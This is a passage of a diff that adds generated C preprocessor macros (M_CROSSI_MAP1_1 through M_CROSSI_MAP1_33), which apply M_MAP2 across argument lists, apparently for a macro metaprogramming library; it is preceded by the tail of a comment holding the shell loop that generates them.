+    for j in $(seq 1 $i) ; do printf "M_MAP2(f, a%d, M_ID blist) " $j; done ;
+    printf "\n" ;
+done
+*/
+#define M_CROSSI_MAP1_1(...) M_CROSSI_MAP1_1b(__VA_ARGS__)
+#define M_CROSSI_MAP1_1b(f, blist, a1) M_MAP2(f, a1, M_ID blist) 
+#define M_CROSSI_MAP1_2(...) M_CROSSI_MAP1_2b(__VA_ARGS__)
+#define M_CROSSI_MAP1_2b(f, blist, a1, a2) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) 
+#define M_CROSSI_MAP1_3(...) M_CROSSI_MAP1_3b(__VA_ARGS__)
+#define M_CROSSI_MAP1_3b(f, blist, a1, a2, a3) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) 
+#define M_CROSSI_MAP1_4(...) M_CROSSI_MAP1_4b(__VA_ARGS__)
+#define M_CROSSI_MAP1_4b(f, blist, a1, a2, a3, a4) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) 
+#define M_CROSSI_MAP1_5(...) M_CROSSI_MAP1_5b(__VA_ARGS__)
+#define M_CROSSI_MAP1_5b(f, blist, a1, a2, a3, a4, a5) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) 
+#define M_CROSSI_MAP1_6(...) M_CROSSI_MAP1_6b(__VA_ARGS__)
+#define M_CROSSI_MAP1_6b(f, blist, a1, a2, a3, a4, a5, a6) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) 
+#define M_CROSSI_MAP1_7(...) M_CROSSI_MAP1_7b(__VA_ARGS__)
+#define M_CROSSI_MAP1_7b(f, blist, a1, a2, a3, a4, a5, a6, a7) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) 
+#define M_CROSSI_MAP1_8(...) M_CROSSI_MAP1_8b(__VA_ARGS__)
+#define M_CROSSI_MAP1_8b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) 
+#define M_CROSSI_MAP1_9(...) M_CROSSI_MAP1_9b(__VA_ARGS__)
+#define M_CROSSI_MAP1_9b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) 
+#define M_CROSSI_MAP1_10(...) M_CROSSI_MAP1_10b(__VA_ARGS__)
+#define M_CROSSI_MAP1_10b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) 
+#define M_CROSSI_MAP1_11(...) M_CROSSI_MAP1_11b(__VA_ARGS__)
+#define M_CROSSI_MAP1_11b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) 
+#define M_CROSSI_MAP1_12(...) M_CROSSI_MAP1_12b(__VA_ARGS__)
+#define M_CROSSI_MAP1_12b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) 
+#define M_CROSSI_MAP1_13(...) M_CROSSI_MAP1_13b(__VA_ARGS__)
+#define M_CROSSI_MAP1_13b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) 
+#define M_CROSSI_MAP1_14(...) M_CROSSI_MAP1_14b(__VA_ARGS__)
+#define M_CROSSI_MAP1_14b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) 
+#define M_CROSSI_MAP1_15(...) M_CROSSI_MAP1_15b(__VA_ARGS__)
+#define M_CROSSI_MAP1_15b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) 
+#define M_CROSSI_MAP1_16(...) M_CROSSI_MAP1_16b(__VA_ARGS__)
+#define M_CROSSI_MAP1_16b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) 
+#define M_CROSSI_MAP1_17(...) M_CROSSI_MAP1_17b(__VA_ARGS__)
+#define M_CROSSI_MAP1_17b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) 
+#define M_CROSSI_MAP1_18(...) M_CROSSI_MAP1_18b(__VA_ARGS__)
+#define M_CROSSI_MAP1_18b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) 
+#define M_CROSSI_MAP1_19(...) M_CROSSI_MAP1_19b(__VA_ARGS__)
+#define M_CROSSI_MAP1_19b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) 
+#define M_CROSSI_MAP1_20(...) M_CROSSI_MAP1_20b(__VA_ARGS__)
+#define M_CROSSI_MAP1_20b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) 
+#define M_CROSSI_MAP1_21(...) M_CROSSI_MAP1_21b(__VA_ARGS__)
+#define M_CROSSI_MAP1_21b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) 
+#define M_CROSSI_MAP1_22(...) M_CROSSI_MAP1_22b(__VA_ARGS__)
+#define M_CROSSI_MAP1_22b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) 
+#define M_CROSSI_MAP1_23(...) M_CROSSI_MAP1_23b(__VA_ARGS__)
+#define M_CROSSI_MAP1_23b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) 
+#define M_CROSSI_MAP1_24(...) M_CROSSI_MAP1_24b(__VA_ARGS__)
+#define M_CROSSI_MAP1_24b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) 
+#define M_CROSSI_MAP1_25(...) M_CROSSI_MAP1_25b(__VA_ARGS__)
+#define M_CROSSI_MAP1_25b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) 
+#define M_CROSSI_MAP1_26(...) M_CROSSI_MAP1_26b(__VA_ARGS__)
+#define M_CROSSI_MAP1_26b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) 
+#define M_CROSSI_MAP1_27(...) M_CROSSI_MAP1_27b(__VA_ARGS__)
+#define M_CROSSI_MAP1_27b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) 
+#define M_CROSSI_MAP1_28(...) M_CROSSI_MAP1_28b(__VA_ARGS__)
+#define M_CROSSI_MAP1_28b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) 
+#define M_CROSSI_MAP1_29(...) M_CROSSI_MAP1_29b(__VA_ARGS__)
+#define M_CROSSI_MAP1_29b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) 
+#define M_CROSSI_MAP1_30(...) M_CROSSI_MAP1_30b(__VA_ARGS__)
+#define M_CROSSI_MAP1_30b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) 
+#define M_CROSSI_MAP1_31(...) M_CROSSI_MAP1_31b(__VA_ARGS__)
+#define M_CROSSI_MAP1_31b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) 
+#define M_CROSSI_MAP1_32(...) M_CROSSI_MAP1_32b(__VA_ARGS__)
+#define M_CROSSI_MAP1_32b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) 
+#define M_CROSSI_MAP1_33(...) M_CROSSI_MAP1_33b(__VA_ARGS__)
+#define M_CROSSI_MAP1_33b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) M_MAP2(f, a33, M_ID blist) 
+#define M_CROSSI_MAP1_34(...) M_CROSSI_MAP1_34b(__VA_ARGS__)
